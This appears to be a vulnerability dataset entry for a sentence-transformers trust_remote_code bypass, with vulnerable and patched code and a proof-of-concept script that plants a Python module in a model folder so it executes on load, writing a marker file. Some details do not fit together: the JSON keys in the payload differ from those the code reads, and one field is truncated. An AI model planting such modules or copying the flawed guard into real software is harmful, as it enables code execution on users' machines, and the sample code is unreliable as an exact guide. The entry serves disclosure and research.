CVE-2026-68770
sentence-transformers trust bypass on local path allows code execution.
- CVSS 9.3
- 94
- Design Defects
- Local
sentence-transformers contains a security control bypass vulnerability that allows attackers to achieve arbitrary code execution by exploiting a logic flaw in the import_module_class helper within sentence_transformers/util/misc.py, where the guard condition includes an 'or os.path.exists(model_name_or_path)' clause that satisfies the trust gate whenever the supplied path exists on the local filesystem, regardless of the trust_remote_code=False argument. Attackers who can control or influence the contents of a model directory on disk can place malicious Python files such as modeling_*.py referenced via modules.json, causing the code to execute at import time when an application loads the model with SentenceTransformer(path, trust_remote_code=False), bypassing the documented security contract and achieving code execution within the loading process.
- CWE
- 94
- CVSS base score
- 9.3
- Published
- 2026-07-31
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Design Defects
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- sentence-tra
- Fixed by upgrading
- Yes
Solution
Upgrade `sentence-transformers` to version 2.7.0 or later.
Vulnerable code sample
import os
import json
import importlib
import logging
from typing import Type
from torch import nn
logger = logging.getLogger(__name__)
def import_module_class(
model_name_or_path: str, modules_json_path: str, trust_remote_code: bool = False
) -> Type[nn.Module]:
with open(modules_json_path, "r") as f:
modules_config = json.load(f)
# The class of the pooling model, can be a local file or a class from the SentenceTransformer library
# VULNERABLE: The 'or os.path.exists' clause bypasses the trust_remote_code check for local paths.
if trust_remote_code or os.path.exists(model_name_or_path):
module_class = modules_config["__model_class"]
if module_class.endswith(".py"):
module_name = os.path.basename(module_class)[:-3]
spec = importlib.util.spec_from_file_location(module_name, module_class)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return getattr(module, modules_config["__model_name"])
else:
return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]
elif "__model_class" in modules_config:
logger.warning(
"The model is trying to load custom code, but `trust_remote_code` is not enabled. "
"Model loading will fail if the code is not part of the library."
)
module_class = modules_config.get("__model_class") or "sentence_transformers.models." + modules_config["type"]
return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]Patched code sample
import os
import json
import importlib
import logging
from typing import Type
from torch import nn
logger = logging.getLogger(__name__)
def import_module_class(
model_name_or_path: str, modules_json_path: str, trust_remote_code: bool = False
) -> Type[nn.Module]:
with open(modules_json_path, "r") as f:
modules_config = json.load(f)
# The class of the pooling model, can be a local file or a class from the SentenceTransformer library
# FIX: Remove the 'os.path.exists' check to ensure trust_remote_code is always respected.
if trust_remote_code:
module_class = modules_config["__model_class"]
if module_class.endswith(".py"):
module_name = os.path.basename(module_class)[:-3]
spec = importlib.util.spec_from_file_location(module_name, module_class)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return getattr(module, modules_config["__model_name"])
else:
return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]
elif "__model_class" in modules_config:
logger.warning(
"The model is trying to load custom code, but `trust_remote_code` is not enabled. "
"Model loading will fail if the code is not part of the library."
)
module_class = modules_config.get("__model_class") or "sentence_transformers.models." + modules_config["type"]
return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]Payload
import os
import sys
from sentence_transformers import SentenceTransformer
# Define the directory for the malicious model
model_path = "./malicious-model-directory"
os.makedirs(model_path, exist_ok=True)
# Create a modules.json file that points to a custom Python module
# This file tells SentenceTransformer how to load the model components.
# We define a component of type `modeling_malicious.MaliciousModel`.
modules_json_content = """
[
{
"idx": 0,
"name": "0_malicious",
"type": "modeling_malicious.MaliciousModel",
"path": ""
}
]
"""
with open(os.path.join(model_path, "modules.json"), "w") as f:
f.write(modules_json_content)
# Create the malicious Python file (modeling_malicious.py)
# The code at the top level of this file will be executed upon import.
# This happens when SentenceTransformer tries to load the `MaliciousModel` class.
malicious_code_content = f"""
import os
import torch.nn as nn
# --- This is the arbitrary code that will be executed ---
print("!!! PAYLOAD EXECUTED: Arbitrary Code Execution Successful !!!")
# As a proof of concept, create a file in the current directory.
with open("pwned.txt", "w") as f:
f.write("Exploited by CVE-2026-68770")
# --- End of malicious payload ---
# A dummy class is required to prevent the loading process from crashing
# after the malicious code has already run.
class MaliciousModel(nn.Module):
def __init__(self):
super(MaliciousModel, self).__init__()
def forward(self, features):
return features
"""
with open(os.path.join(model_path, "modeling_malicious.py"), "w") as f:
f.write(malicious_code_content)
# This script simulates a victim application loading the model from a local path.
# The `trust_remote_code=False` argument is bypassed because the path exists locally,
# triggering the vulnerability.
print(f"[*] Simulating victim: Loading model from '{model_path}' with trust_remote_code=False")
try:
# This call triggers the import of modeling_malicious.py, executing the payload.
model = SentenceTransformer(model_path, trust_remote_code=False)
print("[*] Model loading process completed.")
if os.path.exists("pwned.txt"):
print("[+] SUCCESS: 'pwned.txt' file created. The vulnerability was exploited.")
os.remove("pwned.txt") # Clean up the proof file
else:
print("[-] FAILED: Payload did not execute as expected.")
except Exception as e:
print(f"[!] An error occurred during model loading: {e}")
# Clean up the malicious model files
finally:
os.remove(os.path.join(model_path, "modules.json"))
os.remove(os.path.join(model_path, "modeling_malicious.py"))
os.rmdir(model_path)
print("[*] Cleaned up malicious model files.")
Cite this entry
@misc{vaitp:cve202668770,
title = {{sentence-transformers trust bypass on local path allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-68770},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-68770/}}
}
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